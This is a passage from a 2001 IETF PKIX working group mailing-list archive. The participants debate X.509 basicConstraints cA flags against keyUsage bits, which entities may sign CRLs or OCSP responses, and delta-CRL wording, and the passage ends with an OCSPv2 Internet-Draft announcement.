>4  T     0         0    (Illegal*) Is a CA but can't sign certs or CRLs
>5  T     0         1    (Illegal*) Is a CA, can sign CRLs only
>6  T     1         0        CA, can sign certs
>7  T     1         1        CA, can sign certs and CRLs
>
>* As Dave S. points out, 4.2.1.10 prohibits cert types 4 and 5.

What about 2 and 3?  They can sign certs but they're not a CA, wouldn't this be
illegal?  (I proposed 2 in my autonomous certs draft for people who have
signing certs who want to issue their own encryption certs without going
through a CA, but apart from that special use I'm not sure what the semantics
for this combination are).

Peter.



Received: from stingray.missi.ncsc.mil (stingray.missi.ncsc.mil [144.51.50.20]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA11743 for <[e-mail]>; Thu, 8 Mar 2001 08:11:01 -0800 (PST)
Received: from stingray.missi.ncsc.mil (root@localhost) by stingray.missi.ncsc.mil with ESMTP id LAA01353 for <[e-mail]>; Thu, 8 Mar 2001 11:10:33 -0500 (EST)
Message-Id: <[e-mail]>
Sender: [e-mail]
Date: Thu, 08 Mar 2001 11:10:10 -0500
From: "David P. Kemp" <[e-mail]>
X-Mailer: Mozilla 4.5 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: [e-mail]
Subject: RE: Open Issue in Part1: path length constraints
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

> From: "Michael Myers" <[e-mail]>
> 
> Dave,
> 
> Does your observation of a "trusted" responder interpret case 1.b below or
> were you intending to speak to some broader notion?


Michael,

I was indeed considering case 1.b, based on the text in RFC 2560
section 2.2:

  The key used to sign the response MUST belong to one of the following:
  
    -- the CA who issued the certificate in question
    -- a Trusted Responder whose whose public key is trusted by the
        requestor
    -- a CA Designated Responder (Authorized Responder) who holds a
        specially marked certificate issued directly by the CA

I admit to not making a distinction between 1.a and 1.b, because if the
CA is going to implicitly designate a trusted responder key, why in the
world would it not take the extra step of explicitly designating that
key
by issuing the special certificate.  The hard work for the CA is
deciding
who to designate, not signing the cert.  I'm not from Missouri, but if a
Trusted Responder claimed to be CA-delegated, I'd say "show me the
cert".

Dave


Received: from stingray.missi.ncsc.mil (stingray.missi.ncsc.mil [144.51.50.20]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA11602 for <[e-mail]>; Thu, 8 Mar 2001 08:09:58 -0800 (PST)
Received: from stingray.missi.ncsc.mil (root@localhost) by stingray.missi.ncsc.mil with ESMTP id LAA01149 for <[e-mail]>; Thu, 8 Mar 2001 11:09:29 -0500 (EST)
Message-Id: <[e-mail]>
Sender: [e-mail]
Date: Thu, 08 Mar 2001 11:09:06 -0500
From: "David P. Kemp" <[e-mail]>
X-Mailer: Mozilla 4.5 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: [e-mail]
Subject: RE: Open Issue in Part1: path length constraints
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Steve,

I've never seen any benefit of the cA flag in the basicConstraints
extension; it's just a vestigial appendix left over from when there
was no keyUsage extension.

Consider the following certificates:

#  cA   CertSign  cRLSign    Effect
- ----- --------  -------   ------------
0  F     0         0        End Entity
1  F     0         1        End Entity (can sign CRLs)
2  F     1         0        End Entity
3  F     1         1        End Entity (can sign CRLs)
4  T     0         0    (Illegal*) Is a CA but can't sign certs or CRLs
5  T     0         1    (Illegal*) Is a CA, can sign CRLs only
6  T     1         0        CA, can sign certs
7  T     1         1        CA, can sign certs and CRLs

* As Dave S. points out, 4.2.1.10 prohibits cert types 4 and 5.

Is there any benefit to having eight different certificate types
instead of just four?   In my example of the online CRL signer, what is
accomplished by setting CA=true (cert #5) instead of CA=false (cert #1)?
You say you would set it to indicate that the CRL issuer is a CA, but
what would the application do with that knowledge? (i.e. what would it
do differently than if the CA flag were false?)

More generally, is there any reason why Section 4.2.1.10 should
not also prohibit cert types 2 and 3? (in other words, require the
keyCertSign bit to always equal the cA flag?).  

Dave



> From: Stephen Kent <[e-mail]>
> 
> I agree that there is ambiguity in what we mean when we refer to a CA 
> in such circumstances, but algorithmically I have always assumed that 
> only CAs issued CRLs and we can tell whether the entity is a CA by 
> the basic constraints extension. I see there is considerable 
> sentiment to allow for non-CA flagged entities to sign CRLs, but I'm 
> not yet sure I understand why folks consider it important to not turn 
> on the CA flag in certs for such entities. After all, since we have 
> separate key usage bits for cert and CRL signing, we can construct a 
> cert for an entity that signs CRLs and not grant that entity the 
> ability to sign certs, if we so desire.


Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA03663 for <[e-mail]>; Thu, 8 Mar 2001 07:02:14 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id QAA18224; Thu, 8 Mar 2001 16:10:08 +0100
Received: from bull.net (frlva3786.frlv.bull.fr [129.184.37.97]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id QAA15790; Thu, 8 Mar 2001 16:01:36 +0100
Message-ID: <[e-mail]>
Date: Thu, 08 Mar 2001 16:01:39 +0100
From: Denis Pinkas <[e-mail]>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: Sharon Boeyen <[e-mail]>
CC: Stephen Kent <[e-mail]>, [e-mail]
Subject: Re: Open Issue in Part1: path length constraints
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Sharon,

> 509 doesn't currently state that there are only two types, but states
> that 2 types are defined in that specification. 

I would like that to be true, but it is not, since the text says:

" Authority: An entity, responsible for the issuance of certificates." 

If that sentence would be deleted or changed, then it would be OK.

Denis

> Anything could be added
> to 509 in the future, we don't need to state that explicitly (although
> my hope is that VERY VERY LITTLE still needs to be added to 509 - note
> that
> the current WD is under 10 pages and i sincerely hope it stays that way!).
> 
> > -----Original Message-----
> > From: Denis Pinkas [mailto:[e-mail]]
> > Sent: Thursday, March 08, 2001 2:56 AM
> > To: Stephen Kent
> > Cc: Sharon Boeyen; [e-mail]
> > Subject: Re: Open Issue in Part1: path length constraints
> >
> >
> > Sharon,
> >
> > I read your explanations below. We do not have any problem about the
> > concepts, but there is a vocbulary problem here. It would be
> > unfortunate to
> > say that an Authority may only be a CA or an AA. An Authority
> > needs to be
> > qualified by a term: C-A (C= Certification) or A-A (A =
> > Attribute). There
> > are and will be other Authorities in a PKIX. As an example:
> > TS-A (TS = Time
> > Stamping).
> >
> > I do know that, for ISO documents, definitions only apply for
> > the given
> > document where the definition is, but rewording clause 3.3.6
> > from X.509
> > along the following would need to be considered:
> >
> > Authority: "An entity, trusted by some other entities for a
> > security related
> > service. Two types of authorities are defined in this Specification;
> > certification authority which issues public-key certificates
> > and attribute
> > authority which issues attribute certificates. Other types
> > might be defined
> > in the future."
> >
> > Denis
> >
> >
> > > Sharon,
> > >
> > > >Re the X.509 language - The main reason you see terms
> > like 'authority' and
> > > >CRL issuer instead of CA is that CRLs can also be issued for
> > > >attribute certificates.
> > > >These CRLs would be signed by Attribute Authorities (AA)
> > not by CAs.
> > > >As editor,
> > > >one my editing tasks for the 2000 509 was to replace "CA" with
> > > >"authority" wherever both CA and AA
> > > >were intended. That is the main reason you see these terms. There
> > > >really hasn't been any
> > > >discussion in 509 on non CA, AA issued CRLs that I can remember.
> > > >Taking this to the next
> > > >step, the definition of "authority" in X.509 (clause 3.3.6) is: "An
> > > >entity, responsible for the issuance of certificates. Two types are
> > > >defined in this Specification; certification authority which issues
> > > >public-key certificates and attribute authority which issues
> > > >attribute certificates." So, at least from the X.509 perspective an
> > > >authority is either a CA or an AA.
> > >
> > > Thanks for the clarification; it reaffirms my recent comments about
> > > the scope of the term "authority." That says that there is no
> > > explicit provision for non CA/AA issuance of CRLs in X.509. So, not
> > > only does PKIX have to decide if it wants to create the notion of a
> > > new sort of authority for CRL issuance, but then we have to see if
> > > X.509 will follow this approach as well.
> > >
> > > Steve
> >


Received: from sottmxs02.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by above.proper.com (8.9.3/8.9.3) with ESMTP id GAA01404 for <[e-mail]>; Thu, 8 Mar 2001 06:45:11 -0800 (PST)
Received: by sottmxs02.entrust.com with Internet Mail Service (5.5.2650.21) id <F59CQY0G>; Thu, 8 Mar 2001 09:44:42 -0500
Message-ID: <[e-mail]>
From: Sharon Boeyen <[e-mail]>
To: "'Denis Pinkas'" <[e-mail]>, Stephen Kent <[e-mail]>
Cc: [e-mail]
Subject: RE: Open Issue in Part1: path length constraints
Date: Thu, 8 Mar 2001 09:41:58 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0A7DD.EDB53260"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0A7DD.EDB53260
Content-Type: text/plain

509 doesn't currently state that there are only two types, but states
that 2 types are defined in that specification. Anything could be added
to 509 in the future, we don't need to state that explicitly (although 
my hope is that VERY VERY LITTLE still needs to be added to 509 - note that
the current WD is under 10 pages and i sincerely hope it stays that way!). 

> -----Original Message-----
> From: Denis Pinkas [mailto:[e-mail]]
> Sent: Thursday, March 08, 2001 2:56 AM
> To: Stephen Kent
> Cc: Sharon Boeyen; [e-mail]
> Subject: Re: Open Issue in Part1: path length constraints
> 
> 
> Sharon,
> 
> I read your explanations below. We do not have any problem about the
> concepts, but there is a vocbulary problem here. It would be 
> unfortunate to
> say that an Authority may only be a CA or an AA. An Authority 
> needs to be
> qualified by a term: C-A (C= Certification) or A-A (A = 
> Attribute). There
> are and will be other Authorities in a PKIX. As an example: 
> TS-A (TS = Time
> Stamping).
> 
> I do know that, for ISO documents, definitions only apply for 
> the given
> document where the definition is, but rewording clause 3.3.6 
> from X.509
> along the following would need to be considered:
> 
> Authority: "An entity, trusted by some other entities for a 
> security related
> service. Two types of authorities are defined in this Specification;
> certification authority which issues public-key certificates 
> and attribute
> authority which issues attribute certificates. Other types 
> might be defined
> in the future."
> 
> Denis
> 
>  
> > Sharon,
> > 
> > >Re the X.509 language - The main reason you see terms  
> like 'authority' and
> > >CRL issuer instead of CA is that CRLs can also be issued for
> > >attribute certificates.
> > >These CRLs would be signed by Attribute Authorities (AA) 
> not by CAs.
> > >As editor,
> > >one my editing tasks for the 2000 509 was to replace "CA" with
> > >"authority" wherever both CA and AA
> > >were intended. That is the main reason you see these terms. There
> > >really hasn't been any
> > >discussion in 509 on non CA, AA issued CRLs that I can remember.
> > >Taking this to the next
> > >step, the definition of "authority" in X.509 (clause 3.3.6) is: "An
> > >entity, responsible for the issuance of certificates. Two types are
> > >defined in this Specification; certification authority which issues
> > >public-key certificates and attribute authority which issues
> > >attribute certificates." So, at least from the X.509 perspective an
> > >authority is either a CA or an AA.
> > 
> > Thanks for the clarification; it reaffirms my recent comments about
> > the scope of the term "authority." That says that there is no
> > explicit provision for non CA/AA issuance of CRLs in X.509. So, not
> > only does PKIX have to decide if it wants to create the notion of a
> > new sort of authority for CRL issuance, but then we have to see if
> > X.509 will follow this approach as well.
> > 
> > Steve
> 

------_=_NextPart_001_01C0A7DD.EDB53260
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2652.35">
<TITLE>RE: Open Issue in Part1: path length constraints</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2>509 doesn't currently state that there are only two types, but states</FONT>
<BR><FONT SIZE=2>that 2 types are defined in that specification. Anything could be added</FONT>
<BR><FONT SIZE=2>to 509 in the future, we don't need to state that explicitly (although </FONT>
<BR><FONT SIZE=2>my hope is that VERY VERY LITTLE still needs to be added to 509 - note that</FONT>
<BR><FONT SIZE=2>the current WD is under 10 pages and i sincerely hope it stays that way!). </FONT>
</P>

<P><FONT SIZE=2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=2>&gt; From: Denis Pinkas [<A HREF="mailto:[e-mail]">mailto:[e-mail]</A>]</FONT>
<BR><FONT SIZE=2>&gt; Sent: Thursday, March 08, 2001 2:56 AM</FONT>
<BR><FONT SIZE=2>&gt; To: Stephen Kent</FONT>
<BR><FONT SIZE=2>&gt; Cc: Sharon Boeyen; [e-mail]</FONT>
<BR><FONT SIZE=2>&gt; Subject: Re: Open Issue in Part1: path length constraints</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; Sharon,</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; I read your explanations below. We do not have any problem about the</FONT>
<BR><FONT SIZE=2>&gt; concepts, but there is a vocbulary problem here. It would be </FONT>
<BR><FONT SIZE=2>&gt; unfortunate to</FONT>
<BR><FONT SIZE=2>&gt; say that an Authority may only be a CA or an AA. An Authority </FONT>
<BR><FONT SIZE=2>&gt; needs to be</FONT>
<BR><FONT SIZE=2>&gt; qualified by a term: C-A (C= Certification) or A-A (A = </FONT>
<BR><FONT SIZE=2>&gt; Attribute). There</FONT>
<BR><FONT SIZE=2>&gt; are and will be other Authorities in a PKIX. As an example: </FONT>
<BR><FONT SIZE=2>&gt; TS-A (TS = Time</FONT>
<BR><FONT SIZE=2>&gt; Stamping).</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; I do know that, for ISO documents, definitions only apply for </FONT>
<BR><FONT SIZE=2>&gt; the given</FONT>
<BR><FONT SIZE=2>&gt; document where the definition is, but rewording clause 3.3.6 </FONT>
<BR><FONT SIZE=2>&gt; from X.509</FONT>
<BR><FONT SIZE=2>&gt; along the following would need to be considered:</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; Authority: &quot;An entity, trusted by some other entities for a </FONT>
<BR><FONT SIZE=2>&gt; security related</FONT>
<BR><FONT SIZE=2>&gt; service. Two types of authorities are defined in this Specification;</FONT>
<BR><FONT SIZE=2>&gt; certification authority which issues public-key certificates </FONT>
<BR><FONT SIZE=2>&gt; and attribute</FONT>
<BR><FONT SIZE=2>&gt; authority which issues attribute certificates. Other types </FONT>
<BR><FONT SIZE=2>&gt; might be defined</FONT>
<BR><FONT SIZE=2>&gt; in the future.&quot;</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; Denis</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt;&nbsp; </FONT>
<BR><FONT SIZE=2>&gt; &gt; Sharon,</FONT>
<BR><FONT SIZE=2>&gt; &gt; </FONT>
<BR><FONT SIZE=2>&gt; &gt; &gt;Re the X.509 language - The main reason you see terms&nbsp; </FONT>
<BR><FONT SIZE=2>&gt; like 'authority' and</FONT>
<BR><FONT SIZE=2>&gt; &gt; &gt;CRL issuer instead of CA is that CRLs can also be issued for</FONT>
<BR><FONT SIZE=2>&gt; &gt; &gt;attribute certificates.</FONT>
<BR><FONT SIZE=2>&gt; &gt; &gt;These CRLs would be signed by Attribute Authorities (AA) </FONT>
<BR><FONT SIZE=2>&gt; not by CAs.</FONT>
<BR><FONT SIZE=2>&gt; &gt; &gt;As editor,</FONT>
<BR><FONT SIZE=2>&gt; &gt; &gt;one my editing tasks for the 2000 509 was to replace &quot;CA&quot; with</FONT>
<BR><FONT SIZE=2>&gt; &gt; &gt;&quot;authority&quot; wherever both CA and AA</FONT>
<BR><FONT SIZE=2>&gt; &gt; &gt;were intended. That is the main reason you see these terms. There</FONT>
<BR><FONT SIZE=2>&gt; &gt; &gt;really hasn't been any</FONT>
<BR><FONT SIZE=2>&gt; &gt; &gt;discussion in 509 on non CA, AA issued CRLs that I can remember.</FONT>
<BR><FONT SIZE=2>&gt; &gt; &gt;Taking this to the next</FONT>
<BR><FONT SIZE=2>&gt; &gt; &gt;step, the definition of &quot;authority&quot; in X.509 (clause 3.3.6) is: &quot;An</FONT>
<BR><FONT SIZE=2>&gt; &gt; &gt;entity, responsible for the issuance of certificates. Two types are</FONT>
<BR><FONT SIZE=2>&gt; &gt; &gt;defined in this Specification; certification authority which issues</FONT>
<BR><FONT SIZE=2>&gt; &gt; &gt;public-key certificates and attribute authority which issues</FONT>
<BR><FONT SIZE=2>&gt; &gt; &gt;attribute certificates.&quot; So, at least from the X.509 perspective an</FONT>
<BR><FONT SIZE=2>&gt; &gt; &gt;authority is either a CA or an AA.</FONT>
<BR><FONT SIZE=2>&gt; &gt; </FONT>
<BR><FONT SIZE=2>&gt; &gt; Thanks for the clarification; it reaffirms my recent comments about</FONT>
<BR><FONT SIZE=2>&gt; &gt; the scope of the term &quot;authority.&quot; That says that there is no</FONT>
<BR><FONT SIZE=2>&gt; &gt; explicit provision for non CA/AA issuance of CRLs in X.509. So, not</FONT>
<BR><FONT SIZE=2>&gt; &gt; only does PKIX have to decide if it wants to create the notion of a</FONT>
<BR><FONT SIZE=2>&gt; &gt; new sort of authority for CRL issuance, but then we have to see if</FONT>
<BR><FONT SIZE=2>&gt; &gt; X.509 will follow this approach as well.</FONT>
<BR><FONT SIZE=2>&gt; &gt; </FONT>
<BR><FONT SIZE=2>&gt; &gt; Steve</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0A7DD.EDB53260--


Received: from SOTTMXS01.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by above.proper.com (8.9.3/8.9.3) with ESMTP id GAA00829 for <[e-mail]>; Thu, 8 Mar 2001 06:42:13 -0800 (PST)
Received: by SOTTMXS01.entrust.com with Internet Mail Service (5.5.2650.21) id <GQ09MACH>; Thu, 8 Mar 2001 09:41:44 -0500
Message-ID: <[e-mail]>
From: Sharon Boeyen <[e-mail]>
To: "'Stephen Kent'" <[e-mail]>
Cc: [e-mail]
Subject: RE: Open Issue in Part1: path length constraints
Date: Thu, 8 Mar 2001 09:38:58 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0A7DD.827E7330"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0A7DD.827E7330
Content-Type: text/plain

I do think it is important that regardless of whether the entity signing a 
CRL or an OCSP response represents a CA or not, that relying parties have 
a clear path to determine whether or not to 'trust' such an indication of 
revocation status. For OCSP responders we have the AIA extension and for
CRLs
the issuer (if different than the cert issuer) can be indicated in the
crldp. 

Sharon

> -----Original Message-----
> From: Stephen Kent [mailto:[e-mail]]
> Sent: Wednesday, March 07, 2001 5:19 PM
> To: Sharon Boeyen
> Cc: [e-mail]
> Subject: RE: Open Issue in Part1: path length constraints
> 
> 
> Sharon,
> 
> >Re the X.509 language - The main reason you see terms  like 
> 'authority' and
> >CRL issuer instead of CA is that CRLs can also be issued for 
> >attribute certificates.
> >These CRLs would be signed by Attribute Authorities (AA) not by CAs. 
> >As editor,
> >one my editing tasks for the 2000 509 was to replace "CA" with 
> >"authority" wherever both CA and AA
> >were intended. That is the main reason you see these terms. There 
> >really hasn't been any
> >discussion in 509 on non CA, AA issued CRLs that I can remember. 
> >Taking this to the next
> >step, the definition of "authority" in X.509 (clause 3.3.6) is: "An 
> >entity, responsible for the issuance of certificates. Two types are 
> >defined in this Specification; certification authority which issues 
> >public-key certificates and attribute authority which issues 
> >attribute certificates." So, at least from the X.509 perspective an 
> >authority is either a CA or an AA.
> 
> Thanks for the clarification; it reaffirms my recent comments about 
> the scope of the term "authority." That says that there is no 
> explicit provision for non CA/AA issuance of CRLs in X.509. So, not 
> only does PKIX have to decide if it wants to create the notion of a 
> new sort of authority for CRL issuance, but then we have to see if 
> X.509 will follow this approach as well.
> 
> Steve
> 

------_=_NextPart_001_01C0A7DD.827E7330
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2652.35">
<TITLE>RE: Open Issue in Part1: path length constraints</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2>I do think it is important that regardless of whether the entity signing a </FONT>
<BR><FONT SIZE=2>CRL or an OCSP response represents a CA or not, that relying parties have </FONT>
<BR><FONT SIZE=2>a clear path to determine whether or not to 'trust' such an indication of </FONT>
<BR><FONT SIZE=2>revocation status. For OCSP responders we have the AIA extension and for CRLs</FONT>
<BR><FONT SIZE=2>the issuer (if different than the cert issuer) can be indicated in the crldp. </FONT>
</P>

<P><FONT SIZE=2>Sharon</FONT>
</P>

<P><FONT SIZE=2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=2>&gt; From: Stephen Kent [<A HREF="mailto:[e-mail]">mailto:[e-mail]</A>]</FONT>
<BR><FONT SIZE=2>&gt; Sent: Wednesday, March 07, 2001 5:19 PM</FONT>
<BR><FONT SIZE=2>&gt; To: Sharon Boeyen</FONT>
<BR><FONT SIZE=2>&gt; Cc: [e-mail]</FONT>
<BR><FONT SIZE=2>&gt; Subject: RE: Open Issue in Part1: path length constraints</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; Sharon,</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; &gt;Re the X.509 language - The main reason you see terms&nbsp; like </FONT>
<BR><FONT SIZE=2>&gt; 'authority' and</FONT>
<BR><FONT SIZE=2>&gt; &gt;CRL issuer instead of CA is that CRLs can also be issued for </FONT>
<BR><FONT SIZE=2>&gt; &gt;attribute certificates.</FONT>
<BR><FONT SIZE=2>&gt; &gt;These CRLs would be signed by Attribute Authorities (AA) not by CAs. </FONT>
<BR><FONT SIZE=2>&gt; &gt;As editor,</FONT>
<BR><FONT SIZE=2>&gt; &gt;one my editing tasks for the 2000 509 was to replace &quot;CA&quot; with </FONT>
<BR><FONT SIZE=2>&gt; &gt;&quot;authority&quot; wherever both CA and AA</FONT>
<BR><FONT SIZE=2>&gt; &gt;were intended. That is the main reason you see these terms. There </FONT>
<BR><FONT SIZE=2>&gt; &gt;really hasn't been any</FONT>
<BR><FONT SIZE=2>&gt; &gt;discussion in 509 on non CA, AA issued CRLs that I can remember. </FONT>
<BR><FONT SIZE=2>&gt; &gt;Taking this to the next</FONT>
<BR><FONT SIZE=2>&gt; &gt;step, the definition of &quot;authority&quot; in X.509 (clause 3.3.6) is: &quot;An </FONT>
<BR><FONT SIZE=2>&gt; &gt;entity, responsible for the issuance of certificates. Two types are </FONT>
<BR><FONT SIZE=2>&gt; &gt;defined in this Specification; certification authority which issues </FONT>
<BR><FONT SIZE=2>&gt; &gt;public-key certificates and attribute authority which issues </FONT>
<BR><FONT SIZE=2>&gt; &gt;attribute certificates.&quot; So, at least from the X.509 perspective an </FONT>
<BR><FONT SIZE=2>&gt; &gt;authority is either a CA or an AA.</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; Thanks for the clarification; it reaffirms my recent comments about </FONT>
<BR><FONT SIZE=2>&gt; the scope of the term &quot;authority.&quot; That says that there is no </FONT>
<BR><FONT SIZE=2>&gt; explicit provision for non CA/AA issuance of CRLs in X.509. So, not </FONT>
<BR><FONT SIZE=2>&gt; only does PKIX have to decide if it wants to create the notion of a </FONT>
<BR><FONT SIZE=2>&gt; new sort of authority for CRL issuance, but then we have to see if </FONT>
<BR><FONT SIZE=2>&gt; X.509 will follow this approach as well.</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; Steve</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0A7DD.827E7330--


Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.9.3/8.9.3) with ESMTP id EAA21863 for <[e-mail]>; Thu, 8 Mar 2001 04:25:43 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id NAA16956; Thu, 8 Mar 2001 13:33:38 +0100
Received: from bull.net (frlva3786.frlv.bull.fr [129.184.37.97]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id NAA17004; Thu, 8 Mar 2001 13:25:06 +0100
Message-ID: <[e-mail]>
Date: Thu, 08 Mar 2001 13:25:10 +0100
From: Denis Pinkas <[e-mail]>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: Trevor Freeman <[e-mail]>
CC: IETF-PXIX <[e-mail]>
Subject: Re: WG Last Call: Son-of-2459: More about delta-CRLs
References: <[e-mail]>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id EAA21866

Trevor,

It took me some time respond to take a look at the short thread of the three
messages along this topic. We basically agree that :

1° The current text always allows relying parties not supporting delta-CRLs
to have access to the same freshness of the information. This should be a
recommendation and not be a mandatory requirement.

2° some clarifications about the use of delta CRLs are currently missing in
the document.

Tim ? Any proposal ?

[do not miss the last comment at the end]

> Hi Dennis,
 
> We already discussed on the mailing list the sentence contained in
> section 5.2.4  Delta CRL Indicator:
 
> " When a conforming CA issues a delta CRL, the CA MUST also issue a CRL
> that is complete for the given scope."
 
> However I noticed that in the new text, MUST has not been changed into
> SHOULD. There has been no definitive answer but many people were arguing
> for the SHOULD.
 
> TF> I agree, we don't have a clause requiring the publication of a full
> base when using OCSP. Non-delta aware client are not impacted since they
> don't know about delta publication. It is therefore impossible to
> achieve all clients having the same revocation information.
 
> Indeed, this text always allows relying parties not supporting
> delta-CRLs to
> have access to the same freshness of the information. I would still
> think that this should be a recommendation and not be a mandatory 
> requirement.
 
> However, we did not discussed that much the implications of another
> sentence: "A CRL user constructing a locally held CRL from delta-CRLs
> ...." Notice the "s" at the end of delta-CRLs.
 
> TF> There are two cases to consider here. Where the freshest CRL
> indicator is in the certificate or the CRL. In the former case, it may
> be necessary to merge multiple delta CRLs since there is no guarantee of
> a 1-2-1 relationship between base and delta. You could have delta CRLs
> partitioned by reason coded, and a base CRL for all reasons. In the
> later case where the freshet CRL indicator in in the CRL, there is an
> implicit 1-2-1 relationship between base and delta. A delta aware client
> in this case only has to search for the latest delta CRL. Each delta has
> a this update time, so a client can establish which is the latest.
> Merging the latest delta CRL with the appropriate base provided the
> answer.
 
> How is it possible to issue more than one delta-CRL referring to a given
> basic CRL and know that it is the freshest ? The text does not say
> anything. Some guidance should be given. Is the following an adequate 
> rough explanation ?
 
> TF> given the range of possibilities introduced by having freshest CRL
> in either the certificate or CRL, I would prefer some recommendations on
> what should be done. Having no guidance opens up a large number of
> permutations, and we want to progress this to draft standard, we need to
> refine our scope to what is reasonable, not what is possible.
 
> Every delta-CRL SHOULD indicate the next issuing date of the next
> delta-CRL [we have this feature]. If the next issuing date is missing, 
> then it means that no further delta-CRL will be issued and that a new 
> base CRL is now also available. The delta-CRL obtained is the freshest, 
> when the date for checking is between the issuing date and the next 
> issuing date of that delta-CRL.
 
> Ideally, but not necessarily, the base CRL SHOULD include an indicator
> saying that a delta mechanism is supported [we do not have that
> indicator].
> 
> TF> Having a freshest CRL extension in a CRL provides such an indicator.

Dave (David A.Copper) mentioned that the indicator is there, not in the CRL
but in the certificate.

"4.2.1.16 Freshest CRL (a.k.a. Delta CRL Distribution Point)

   The freshest CRL extension identifies how delta-CRL information is
   obtained."

but it can also be in the CRL:

" 5.2.6 Freshest CRL (a.k.a. Delta CRL Distribution Point)

   The freshest CRL extension identifies how delta-CRL information for
   this CRL is obtained."

So we have two indicators and you are both right. :-)

Denis.


Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.9.3/8.9.3) with ESMTP id DAA19646 for <[e-mail]>; Thu, 8 Mar 2001 03:58:04 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA22509; Thu, 8 Mar 2001 06:58:04 -0500 (EST)
Message-Id: <[e-mail]>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: [e-mail]
From: [e-mail]
Reply-to: [e-mail]
Subject: I-D ACTION:draft-ietf-pkix-ocspv2-02.txt,.ps
Date: Thu, 08 Mar 2001 06:58:03 -0500
Sender: [e-mail]

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Online Certificate Status Protocol, version 2
	Author(s)	: M. Myers, R. Ankney, C. Adams, S. Farrell, C. Covey
	Filename	: draft-ietf-pkix-ocspv2-02.txt,.ps
	Pages		: 23
	Date		: 07-Mar-01
	
This document advances the specification of RFC 2560 [RFC2560] towards the acquisition of any data relevant to determining a digital certificate's reliability; interoperability with [RFC2560] is maintained. Such data include a certificate's revocation status, it's validation status and ancillary information supporting these assertions.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-ocspv2-02.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-ocspv2-02.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
